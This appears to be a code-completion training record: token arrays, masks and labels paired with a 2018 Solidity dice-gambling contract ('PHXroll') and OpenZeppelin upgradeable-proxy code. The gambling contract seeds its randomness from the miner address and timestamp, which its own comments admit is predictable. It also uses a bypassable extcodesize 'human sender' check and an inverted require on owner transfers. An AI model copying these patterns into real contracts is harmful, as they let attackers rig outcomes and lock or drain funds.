[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1160, 1071, 5657, 1224, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.21; /* * ##### ## ##### ## ### ## ### ### * ###### /### ###### / #### / /#### #### / ### ### * /# / / ### /# / / ####/ / ### /####/ ## ## * / / / ### / / / # # ### / ## ## ## * / / ## / / # ### / ## ## * ## ## ## ## ## # ###/ ### /### /### ## ## * ## ## ## ## ## # ### ###/ #### / / ### / ## ## * /### ## / ## ######## /### ## ###/ / ###/ ## ## * / ### ## / ## ## # / ### ## ## ## ## ## * ## ######/ ## ## ## / ### ## ## ## ## ## * ## ###### # ## ## / ### ## ## ## ## ## * ## ## / ## / ### ## ## ## ## ## * ## ## /##/ ## / ### / ## ## ## ## ## * ## ## / ##### ## / ####/ ### ###### ### / ### / * ## ## ## / ## / ### ### #### ##/ ##/ * ### # / # * ### / ## * #####/ * ### * * ____ * /\' .\ _____ * /: \___\ / . /\ * \' / . / /____/..\ * \/___/ \' '\ / * \'__'\/ * * // Probably Unfair // * * //*** Developed By: * _____ _ _ _ ___ _ * |_ _|__ __| |_ _ _ (_)__ __ _| | _ (_)___ ___ * | |/ -_) _| ' \| ' \| / _/ _` | | / (_-</ -_) * |_|\___\__|_||_|_||_|_\__\__,_|_|_|_\_/__/\___| * * © 2018 TechnicalRise. Written in March 2018. * All rights reserved. Do not copy, adapt, or otherwise use without permission. * https://www.reddit.com/user/TechnicalRise/ * */ contract PHXReceivingContract { function tokenFallback(address _from, uint _value, bytes _data) public; } contract PHXInterface { function balanceOf(address who) public view returns (uint); function transfer(address _to, uint _value) public returns (bool); function transfer(address _to, uint _value, bytes _data) public returns (bool); } contract usingMathLibraries { function safeAdd(uint a, uint b) internal pure returns (uint) { require(a + b >= a); return a + b; } function safeSub(uint a, uint b) pure internal returns (uint) { require(b <= a); return a - b; } // parseInt function parseInt(string _a) internal pure returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat*10^_b) function parseInt(string _a, uint _b) internal pure returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i<bresult.length; i++){ if ((bresult[i] >= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } } contract PHXroll is PHXReceivingContract, usingMathLibraries { /* * checks player profit, bet size and player number is within range */ modifier betIsValid(uint _betSize, uint _playerNumber) { require(((((_betSize * (100-(safeSub(_playerNumber,1)))) / (safeSub(_playerNumber,1))+_betSize))*houseEdge/houseEdgeDivisor)-_betSize < maxProfit && _betSize > minBet && _playerNumber > minNumber && _playerNumber < maxNumber); _; } /* * checks game is currently active */ modifier gameIsActive { require(gamePaused == false); _; } /* * checks payouts are currently active */ modifier payoutsAreActive { require(payoutsPaused == false); _; } /* * checks only owner address is calling */ modifier onlyOwner { require(msg.sender == owner); _; } /* * checks only treasury address is calling */ modifier onlyTreasury { require(msg.sender == treasury); _; } /* * game vars */ uint constant public maxProfitDivisor = 1000000; uint constant public houseEdgeDivisor = 1000; uint constant public maxNumber = 99; uint constant public minNumber = 2; bool public gamePaused; address public owner; bool public payoutsPaused; address public treasury; uint public contractBalance; uint public houseEdge; uint public maxProfit; uint public maxProfitAsPercentOfHouse; uint public minBet; //init discontinued contract data int public totalBets = 0; //init discontinued contract data uint public totalTRsWon = 0; //init discontinued contract data uint public totalTRsWagered = 0; /* * player vars */ uint public rngId; mapping (uint => address) playerAddress; mapping (uint => uint) playerBetId; mapping (uint => uint) playerBetValue; mapping (uint => uint) playerDieResult; mapping (uint => uint) playerNumber; mapping (uint => uint) playerProfit; /* * events */ /* log bets + output to web3 for precise 'payout on win' field in UI */ event LogBet(uint indexed BetID, address indexed PlayerAddress, uint indexed RewardValue, uint ProfitValue, uint BetValue, uint PlayerNumber); /* output to web3 UI on bet result*/ /* Status: 0=lose, 1=win, 2=win + failed send, 3=refund, 4=refund + failed send*/ event LogResult(uint indexed BetID, address indexed PlayerAddress, uint PlayerNumber, uint DiceResult, uint Value, int Status); /* log manual refunds */ event LogRefund(uint indexed BetID, address indexed PlayerAddress, uint indexed RefundValue); /* log owner transfers */ event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred); address public constant PHXTKNADDR = 0x14b759A158879B133710f4059d32565b4a66140C; PHXInterface public PHXTKN; /* * init */ function PHXroll() public { owner = msg.sender; treasury = msg.sender; // Initialize the PHX Contract PHXTKN = PHXInterface(PHXTKNADDR); /* init 990 = 99% (1% houseEdge)*/ ownerSetHouseEdge(990); /* init 10,000 = 1% */ ownerSetMaxProfitAsPercentOfHouse(10000); /* init min bet (0.1 PHX) */ ownerSetMinBet(100000000000000000); } // This is a supercheap psuedo-random number generator // that relies on the fact that "who" will mine and "when" they will // mine is random. This is usually vulnerable to "inside the block" // attacks where someone writes a contract mined in the same block // and calls this contract from it -- but we don't accept transactions // from other contracts, lessening that risk. It seems like someone // would therefore need to be able to predict the block miner and // block timestamp in advance to hack this. // // ¯\_(ツ)_/¯ // uint seed3; function _pRand(uint _modulo) internal view returns (uint) { require((1 < _modulo) && (_modulo <= 1000)); uint seed1 = uint(block.coinbase); // Get Miner's Address uint seed2 = now; // Get the timestamp seed3++; // Make all pRand calls unique return uint(keccak256(seed1, seed2, seed3)) % _modulo; } /* * public function * player submit bet * only if game is active & bet is valid */ function _playerRollDice(uint _rollUnder, TKN _tkn) private gameIsActive betIsValid(_tkn.value, _rollUnder) { // Note that msg.sender is the Token Contract Address // and "_from" is the sender of the tokens require(_humanSender(_tkn.sender)); // Check that this is a non-contract sender require(_phxToken(msg.sender)); // Check that this is a PHX Token Transfer // Increment rngId rngId++; /* map bet id to this wager */ playerBetId[rngId] = rngId; /* map player lucky number */ playerNumber[rngId] = _rollUnder; /* map value of wager */ playerBetValue[rngId] = _tkn.value; /* map player address */ playerAddress[rngId] = _tkn.sender; /* safely map player profit */ playerProfit[rngId] = 0; /* provides accurate numbers for web3 and allows for manual refunds */ emit LogBet(playerBetId[rngId], playerAddress[rngId], safeAdd(playerBetValue[rngId], playerProfit[rngId]), playerProfit[rngId], playerBetValue[rngId], playerNumber[rngId]); /* map Die result to player */ playerDieResult[rngId] = _pRand(100) + 1; /* total number of bets */ totalBets += 1; /* total wagered */ totalTRsWagered += playerBetValue[rngId]; /* * pay winner * update contract balance to calculate new max bet * send reward */ if(playerDieResult[rngId] < playerNumber[rngId]){ /* safely map player profit */ playerProfit[rngId] = ((((_tkn.value * (100-(safeSub(_rollUnder,1)))) / (safeSub(_rollUnder,1))+_tkn.value))*houseEdge/houseEdgeDivisor)-_tkn.value; /* safely reduce contract balance by player profit */ contractBalance = safeSub(contractBalance, playerProfit[rngId]); /* update total Rises won */ totalTRsWon = safeAdd(totalTRsWon, playerProfit[rngId]); emit LogResult(playerBetId[rngId], playerAddress[rngId], playerNumber[rngId], playerDieResult[rngId], playerProfit[rngId], 1); /* update maximum profit */ setMaxProfit(); // Transfer profit plus original bet PHXTKN.transfer(playerAddress[rngId], playerProfit[rngId] + _tkn.value); return; } else { /* * no win * send 1 Rise to a losing bet * update contract balance to calculate new max bet */ emit LogResult(playerBetId[rngId], playerAddress[rngId], playerNumber[rngId], playerDieResult[rngId], playerBetValue[rngId], 0); /* * safe adjust contractBalance * setMaxProfit * send 1 Rise to losing bet */ contractBalance = safeAdd(contractBalance, (playerBetValue[rngId]-1)); /* update maximum profit */ setMaxProfit(); /* * send 1 Rise */ PHXTKN.transfer(playerAddress[rngId], 1); return; } } // !Important: Note the use of the following struct struct TKN { address sender; uint value; } function tokenFallback(address _from, uint _value, bytes _data) public { if(_from == treasury) { contractBalance = safeAdd(contractBalance, _value); /* safely update contract balance */ /* update the maximum profit */ setMaxProfit(); return; } else { TKN memory _tkn; _tkn.sender = _from; _tkn.value = _value; _playerRollDice(parseInt(string(_data)), _tkn); } } /* * internal function * sets max profit */ function setMaxProfit() internal { maxProfit = (contractBalance*maxProfitAsPercentOfHouse)/maxProfitDivisor; } /* only owner adjust contract balance variable (only used for max profit calc) */ function ownerUpdateContractBalance(uint newContractBalanceInTRs) public onlyOwner { contractBalance = newContractBalanceInTRs; } /* only owner address can set houseEdge */ function ownerSetHouseEdge(uint newHouseEdge) public onlyOwner { houseEdge = newHouseEdge; } /* only owner address can set maxProfitAsPercentOfHouse */ function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public onlyOwner { /* restrict each bet to a maximum profit of 1% contractBalance */ require(newMaxProfitAsPercent <= 10000); maxProfitAsPercentOfHouse = newMaxProfitAsPercent; setMaxProfit(); } /* only owner address can set minBet */ function ownerSetMinBet(uint newMinimumBet) public onlyOwner { minBet = newMinimumBet; } /* only owner address can transfer PHX */ function ownerTransferPHX(address sendTo, uint amount) public onlyOwner { /* safely update contract balance when sending out funds*/ contractBalance = safeSub(contractBalance, amount); /* update max profit */ setMaxProfit(); require(!PHXTKN.transfer(sendTo, amount)); emit LogOwnerTransfer(sendTo, amount); } /* only owner address can set emergency pause #1 */ function ownerPauseGame(bool newStatus) public onlyOwner { gamePaused = newStatus; } /* only owner address can set emergency pause #2 */ function ownerPausePayouts(bool newPayoutStatus) public onlyOwner { payoutsPaused = newPayoutStatus; } /* only owner address can set treasury address */ function ownerSetTreasury(address newTreasury) public onlyOwner { treasury = newTreasury; } /* only owner address can set owner address */ function ownerChangeOwner(address newOwner) public onlyOwner { owner = newOwner; } /* only owner address can selfdestruct - emergency */ function ownerkill() public onlyOwner { PHXTKN.transfer(owner, contractBalance); selfdestruct(owner); } function _phxToken(address _tokenContract) private pure returns (bool) { return _tokenContract == PHXTKNADDR; // Returns "true" of this is the PHX Token Contract } // Determine if the "_from" address is a contract function _humanSender(address _from) private view returns (bool) { uint codeLength; assembly { codeLength := extcodesize(_from) } return (codeLength == 0); // If this is "true" sender is most likely a Wallet } }
only owner address can transfer PHX */
function ownerTransferPHX(address sendTo, uint amount) public onlyOwner { contractBalance = safeSub(contractBalance, amount); setMaxProfit(); require(!PHXTKN.transfer(sendTo, amount)); emit LogOwnerTransfer(sendTo, amount);
5,812,949
[ 1, 3700, 3410, 1758, 848, 7412, 15490, 60, 342, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 3410, 5912, 8939, 60, 12, 2867, 29091, 16, 2254, 3844, 13, 1071, 7010, 202, 202, 3700, 5541, 203, 565, 288, 540, 203, 3639, 6835, 13937, 273, 4183, 1676, 12, 16351, 13937, 16, 3844, 1769, 1082, 203, 3639, 10851, 626, 7216, 5621, 203, 3639, 2583, 12, 5, 8939, 3983, 47, 50, 18, 13866, 12, 4661, 774, 16, 3844, 10019, 203, 3639, 3626, 1827, 5541, 5912, 12, 4661, 774, 16, 3844, 1769, 7010, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.8.0; import "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol"; /** * @title Proxy for ERC20 tokens. */ contract ERC20Proxy is TransparentUpgradeableProxy { constructor(address _logic, address _admin, bytes memory _data) TransparentUpgradeableProxy(_logic, _admin, _data) payable {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../Proxy.sol"; import "../../utils/Address.sol"; /** * @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an * implementation address that can be changed. This address is stored in storage in the location specified by * https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the * implementation behind the proxy. * * Upgradeability is only provided internally through {_upgradeTo}. For an externally upgradeable proxy see * {TransparentUpgradeableProxy}. */ contract ERC1967Proxy is Proxy { /** * @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`. * * If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded * function call, and allows initializating the storage of the proxy like a Solidity constructor. */ constructor(address _logic, bytes memory _data) payable { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); _setImplementation(_logic); if(_data.length > 0) { Address.functionDelegateCall(_logic, _data); } } /** * @dev Emitted when the implementation is upgraded. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function _implementation() internal view virtual override returns (address impl) { bytes32 slot = _IMPLEMENTATION_SLOT; // solhint-disable-next-line no-inline-assembly assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal virtual { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address newImplementation) private { require(Address.isContract(newImplementation), "ERC1967Proxy: new implementation is not a contract"); bytes32 slot = _IMPLEMENTATION_SLOT; // solhint-disable-next-line no-inline-assembly assembly { sstore(slot, newImplementation) } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { // solhint-disable-next-line no-inline-assembly assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback () external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive () external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC1967/ERC1967Proxy.sol"; /** * @dev This contract implements a proxy that is upgradeable by an admin. * * To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector * clashing], which can potentially be used in an attack, this contract uses the * https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two * things that go hand in hand: * * 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if * that call matches one of the admin functions exposed by the proxy itself. * 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the * implementation. If the admin tries to call a function on the implementation it will fail with an error that says * "admin cannot fallback to proxy target". * * These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing * the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due * to sudden errors when trying to call a function from the proxy implementation. * * Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way, * you should think of the `ProxyAdmin` instance as the real administrative interface of your proxy. */ contract TransparentUpgradeableProxy is ERC1967Proxy { /** * @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and * optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}. */ constructor(address _logic, address admin_, bytes memory _data) payable ERC1967Proxy(_logic, _data) { assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1)); _setAdmin(admin_); } /** * @dev Emitted when the admin account has changed. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 private constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @dev Returns the current admin. * * NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}. * * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. * `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103` */ function admin() external ifAdmin returns (address admin_) { admin_ = _admin(); } /** * @dev Returns the current implementation. * * NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}. * * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. * `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc` */ function implementation() external ifAdmin returns (address implementation_) { implementation_ = _implementation(); } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. * * NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}. */ function changeAdmin(address newAdmin) external virtual ifAdmin { require(newAdmin != address(0), "TransparentUpgradeableProxy: new admin is the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the implementation of the proxy. * * NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}. */ function upgradeTo(address newImplementation) external virtual ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified * by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the * proxied contract. * * NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}. */ function upgradeToAndCall(address newImplementation, bytes calldata data) external payable virtual ifAdmin { _upgradeTo(newImplementation); Address.functionDelegateCall(newImplementation, data); } /** * @dev Returns the current admin. */ function _admin() internal view virtual returns (address adm) { bytes32 slot = _ADMIN_SLOT; // solhint-disable-next-line no-inline-assembly assembly { adm := sload(slot) } } /** * @dev Stores a new address in the EIP1967 admin slot. */ function _setAdmin(address newAdmin) private { bytes32 slot = _ADMIN_SLOT; // solhint-disable-next-line no-inline-assembly assembly { sstore(slot, newAdmin) } } /** * @dev Makes sure the admin cannot access the fallback function. See {Proxy-_beforeFallback}. */ function _beforeFallback() internal virtual override { require(msg.sender != _admin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target"); super._beforeFallback(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
* @title Proxy for ERC20 tokens./
contract ERC20Proxy is TransparentUpgradeableProxy { pragma solidity 0.8.0; constructor(address _logic, address _admin, bytes memory _data) TransparentUpgradeableProxy(_logic, _admin, _data) payable {} }
1,238,339
